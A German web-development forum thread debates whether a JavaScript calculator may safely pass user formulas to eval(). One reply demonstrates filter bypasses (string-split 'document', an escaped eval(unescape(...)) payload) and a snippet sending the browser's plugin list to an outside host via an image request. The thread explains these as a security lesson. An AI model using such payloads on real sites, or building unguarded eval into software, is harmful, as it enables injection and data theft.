moO: String-Formel berechnen

Mal ne Frage.

Ich hab ein Script, bei dem der Nutzer eine Formel eingeben kann, also eine Art Taschenrechner.
Jetzt hab ich das Problem, dass ich nicht weiß, wie ich den String direkt berechnen lassen kann ohne ihn noch einmal aufsplitten zu müssen. Gibt es da eine galante Möglichkeit?

Hier der Code bisher, ist nur ein roher entwurf, also nicht meckern ;)

  
echo('<fieldset><legend>Formelteile</legend>');  
  
	echo('Operator: ');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="+" title="sum up two values (a+b=c)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="-" title="subtract two values (a-b=c)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="*" title="multiply two values (a*b=c)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="/" title="divide two values (a/b=c)">');  
  
	echo(' Special Operator: ');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="^" title="a power b(a^b=c)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="%" title="returns the integer part of a/b (5/4=1)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="#" title="returns the rest of a/b (5/4=.25)">');  
  
	echo(' Parantheses: ');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value="(" title="opening paranthese (needs to be closed!)">');  
  
	echo('<input style="width:20px" type="submit" name="symbol" value=")" title="closing paranthese">');  
  
	echo(' Value: ');  
  
	echo('<input id="value" style="width:100px" type="text" name="value" title="any numeric value (eg. 1.23">');  
  
	echo('<input id="submitvalue" style="width:60px" type="submit" name="submitvalue" value="add value" title="">');  
  
	echo(' Equals: ');  
  
	echo('<input style="width:20px" type="submit" name="equals" value="=" title="equals">');  
  
	echo('</fieldset>');  
  
	echo('<div id="formula"></div><br>');  
  
	echo('<div id="equals"></div>');  
  
	  
  
     echo("<script type=\"text/javascript\">  
  
          $('input[name=symbol]').click(function(){  
  
			  formula=$(this).val();  
  
			  $('#formula').append(formula);  
  
			  });  
  
		  $('#submitvalue').click(function(){  
  
			  formula=$('#value').val();  
  
			  $('#formula').append(formula);  
  
			  });  
  
		$('input[name=equals]').click(function(){  
  
			  formula=$('#formula').html();  
  
			  $('#equals').val(formula);  
  
			  });  
  
          </script>");

Also, falls einer nen Plan hat, ich wäre für Tips dankbar!

moO

  1. Da ich die Antwort grad selbst gefunden habe, poste ich sie einfach mal:

    Das Ergebnis kommt miiiiit: eval() ;)

    Falls aber einer nen super tip oder erfahrung mit dieser Art Taschenrechner hat, bin ich trotzdem für Hinweise dankber :)

    1. hi,

      Falls aber einer nen super tip oder erfahrung mit dieser Art Taschenrechner hat, bin ich trotzdem für Hinweise dankber :)

      nie vergessen:
      eval == evil

      1. Hallo brillo,

        nie vergessen:
        eval == evil

        dann erkläre mir mal, wie man eine Formel aus einem Inputfeld sonst noch berechnen kann. Ich benutze dafür mangels besserer Idee auch eval.

        Gruß, Jürgen

        1. Hi,

          nie vergessen:
          eval == evil

          dann erkläre mir mal, wie man eine Formel aus einem Inputfeld sonst noch berechnen kann.

          Mit einem Parser, der den Rechenausdruck in Terme aufteilt.
          Der kann dann auch noch auf erlaubten „Befehlsumfang“ testen, anstatt wahllos „alles“ auszuführen.

          MfG ChrisB

          --
          RGB is totally confusing - I mean, at least #C0FFEE should be brown, right?
          1. Hallo ChrisB,

            Mit einem Parser, der den Rechenausdruck in Terme aufteilt.
            Der kann dann auch noch auf erlaubten „Befehlsumfang“ testen, anstatt wahllos „alles“ auszuführen.

            also ein eval nachbauen, nur weil eval evil ist? Wäre es da nicht viel einfacher, eval zu nutzen und vorher den String nach kritischen Ausdrücken zu durchsuchen und, wie ich es mache, eval im Kontext von Math laufen zu lassen? Wobei man sich fragen muss, ob es denn auf einer Taschenrechnerseite wirklich nötig ist, den Besucher vor seinen eigenen Eingaben zu schützen.

            Gruß, Jürgen

            1. Moin Moin!

              also ein eval nachbauen, nur weil eval evil ist?

              Nein, eben KEIN volles eval nachbauen, sondern einen sehr beschränkten Parser, der nur "Taschenrechner" versteht.

              Wäre es da nicht viel einfacher, eval zu nutzen und vorher den String nach kritischen Ausdrücken zu durchsuchen

              Du schlägst vor, eval() abzusichern. Das ist leichter gesagt als getan. Sicher, so lange Du nur die vier Grundrechenarten, Ziffern und den (Dezimal-)Punkt erlaubst, ist das noch recht einfach zu erschlagen (Suche nach einem nicht erlaubten Zeichen, Abbruch wenn gefunden). Kommen Klammern und Funktionen wie sqrt, log, ln hinzu, wird es schwieriger. Irgendwann endet Deine Absicherung bei einem vollwertigen Parser, oder sie läßt Ausdrücke durch, die Schaden anrichten können.

              Wobei man sich fragen muss, ob es denn auf einer Taschenrechnerseite wirklich nötig ist, den Besucher vor seinen eigenen Eingaben zu schützen.

              Nicht unbedingt vor seinen eigenen, aber vor injizierten.

              Alexander

              --
              Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
              1. Hallo Alexander,

                also ich muss zugeben, so richtig sehe ich die Gefahr nicht, die dadurch entsteht, dass Usereingaben an eval übergeben werden. Bei meinem Funktionsplotter lasse ich eval nur unter Math laufen (with Math) und prüfe, ob die Strings "alert" oder "document" in der Formel auftauchen.

                Wenn es da wirklich jemanden gelingt, Schadcode einzuschleusen, so läuft dieser doch auf dem Rechner des "Täters" ("ich habe 127.0.0.1 gehackt"). Sonst sollte da doch niemand etwas davon mit- oder abbekommen.

                Vielleicht kann mich ja mal jemand aufklären, was in diesem Fall so alles passieren kann. Ich muss da zugeben, dass meine kriminelle Phantasie nicht ausgeprägt ist.

                Gruß, Jürgen

                1. Moin Moin!

                  also ich muss zugeben, so richtig sehe ich die Gefahr nicht, die dadurch entsteht, dass Usereingaben an eval übergeben werden. Bei meinem Funktionsplotter lasse ich eval nur unter Math laufen (with Math)

                  Wie soll ich mir das vorstellen? So?

                    
                  var s='user input';  
                  var x;  
                  with (Math) {  
                    x=eval(s);  
                  }  
                  alert(x);  
                  
                  

                  Oder so?

                    
                  var s='user input';  
                  var x=eval('with(Math) {'+s+'}');  
                  alert(x);  
                  
                  

                  Das bringt exakt gar nichts, siehe unten.

                  und prüfe, ob die Strings "alert" oder "document" in der Formel auftauchen.

                  Was ist mit "window"? "top"?

                  window['doc'+'um'+'ent']'wr'+'ite';
                  top['docu'+'ment']'wr'+'ite';

                  Was ist mit "eval"?

                  eval(unescape("%77%69%6E%64%6F%77%2E%61%6C%65%72%74%28%27%62%6F%6F%27%29"));

                  Wenn es da wirklich jemanden gelingt, Schadcode einzuschleusen, so läuft dieser doch auf dem Rechner des "Täters" ("ich habe 127.0.0.1 gehackt"). Sonst sollte da doch niemand etwas davon mit- oder abbekommen.

                  Doch. Der Schadcode hat Zugriff aufs DOM. Damit kann er weiteren Code nachladen und Informationen an "böse" Server übermitteln.

                    
                  with(Math) {  
                  	var d=window['doc'+'um'+'ent'];  
                  	var b=d.getElementsByTagName('body')[0];  
                  	var im=d.createElement('img');  
                  	var a=[];  
                  	for (i=0; i<navigator.plugins.length; i++) {  
                  		a.push("p="+escape(navigator.plugins[i].name));  
                  	}  
                  	im.src="http://src.selfhtml.org/logo.gif?"+a.join(";");  
                  	b.appendChild(im);  
                  }  
                  
                  

                  Dieses Beispiel ist noch ziemlich blöd, es übermittelt (in einigen Browsern) die Liste der Plugins an src.selfhtml.org und bekommt dafür ein Bild. Mit der gleichen Technik ließe sich auch Schadcode nachladen, der maßgeschneidert für die vorhandenen Plugins ist. Und Lücken in Plugins sind nun wirklich nichts neues.

                  Vielleicht kann mich ja mal jemand aufklären, was in diesem Fall so alles passieren kann. Ich muss da zugeben, dass meine kriminelle Phantasie nicht ausgeprägt ist.

                  Genau das ist das Problem von Blacklists. Die Phantasie reicht oft nicht aus, um alle Angriffswege vorherzusagen.

                  Ich bin in diesem Posting auch nicht sonderlich kreativ gewesen, die gezeigten Techniken sind seit Jahren bekannt.

                  Alexander

                  --
                  Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
                  1. Hallo Alexander,

                    vielen Dank. Ich weiß jetzt, dass eval nicht so leicht abgesichert werden kann, wie ich dachte. Da muss ich noch nachbessern.

                    Allerdings weiß ich immer noch nicht, wie der Schadcode über die Usereingabe an das Eval übergeben werden kann, ohne dass der User es selbst macht. Bei meiner Seite lese ich das Inputfeld aus und übergebe den String dann an eval:

                    with(Math) { for(var x=xmin,i=0;x<=xmax;x+=dx,i++) arr[p][i] = { x: x, y: eval(gl[j]) }; }

                    in gl befinden sich die Gleichungen aus den Inputfeldern, j ist ein Schleifenzähler. Wo ist hier jetzt das Einfallstor?

                    Gruß, Jürgen

                    1. Moin Moin!

                      Allerdings weiß ich immer noch nicht, wie der Schadcode über die Usereingabe an das Eval übergeben werden kann, ohne dass der User es selbst macht.

                      Warum diese Einschränkung? "Hast Du schonmal die eval-unescape-Formel aus http://forum.de.selfhtml.org/?t=201149&m=1356611 eingegeben? Macht eine echt coole Grafik ..." und ich hab gewonnen. ;-)

                      Vom Austricksen der User abgesehen gäbe es noch Cross Site Scripting, diverse Injection-Methoden, oder schlicht Browser, die es gut mit dem User meinen und Formularfelder vorbelegen.

                      Manche Server erledigen die Vorbelegung auch von sich aus, wenn sie passend benannte GET-Parameter in der URL finden (Affenformular). Damit braucht man dem User nur noch eine passende URL geben und ihn überreden, sich die voreingestellte Funktion plotten zu lassen.

                      Bei meiner Seite lese ich das Inputfeld aus und übergebe den String dann an eval:

                      with(Math) { for(var x=xmin,i=0;x<=xmax;x+=dx,i++) arr[p][i] = { x: x, y: eval(gl[j]) }; }

                      with(Math) bringt keinerlei Sicherheit, nur die Bequemlichkeit, nicht jeder Math-Methode "Math." voranstellen zu müssen.

                      Der Rest ist ein ungeschütztes eval, das auch noch für eine vermutlich recht große Zahl von Punkten ausgeführt wird. Das macht's nicht schneller. So lange die Eingaben vertrauenswürdig sind (sprich: isolierte Systeme ohne böse User), wäre eine einmalig daraus generierte JS-Funktion vermutlich flotter.

                      in gl befinden sich die Gleichungen aus den Inputfeldern, j ist ein Schleifenzähler. Wo ist hier jetzt das Einfallstor?

                      Die ungeprüfte Übernahme von Strings aus gl[j] in eval().

                      Alexander

                      --
                      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
                      1. Vom Austricksen der User abgesehen gäbe es noch Cross Site Scripting, diverse Injection-Methoden, oder schlicht Browser, die es gut mit dem User meinen und Formularfelder vorbelegen.

                        Ja, aber das hat doch nichts mit eval zu tun, sondern mit bösartigen Skripten die Jürgen einbauen würde. Und wenn nichts gespeichert wird, ist auch kein CSS möglich, ausser bei dem, der selbst diesen Code eingibt.

                        in gl befinden sich die Gleichungen aus den Inputfeldern, j ist ein Schleifenzähler. Wo ist hier jetzt das Einfallstor?

                        Die ungeprüfte Übernahme von Strings aus gl[j] in eval().

                        was aber kaum anders lösbar wäre und in diesem Fall auch völlig unproblematisch. Es ist eine Eingabe des Benutzers, in dessen Browser das Skript läuft, also absolut kein Sicherheitsloch.

                        Struppi.

                      2. Hallo Alexander,

                        noch mal danke für deinen Nachhilfeunterricht in Sachen Sicherheit. Wenn ich dich jetzt richtig verstanden Habe, besteht die Unsicherheit darin, dass der User überredet werden kann, schädliche Eingaben zu machen.

                        Da die Felder von mir schon vorbelegt sind, dürfte hier keine Gefahr bestehen. Cross Site Scripting ist natürlich immer kritisch, auch ohne eval.

                        Die Sache mit der "einmalig daraus generierte JS-Funktion" werde ich mal prüfen. Bisher war Geschwindigkeit an dieser Stelle kein Problem, da die Grafik (tausende von absolut positionierten Divs) die Bremse war. Aber ich teste gerade Canvas aus, über 500 Linien und fast 10000 Punikte in 0.1 sec. Da lohnt es wider, die Rechnung zu optimieren.

                        Gruß, Jürgen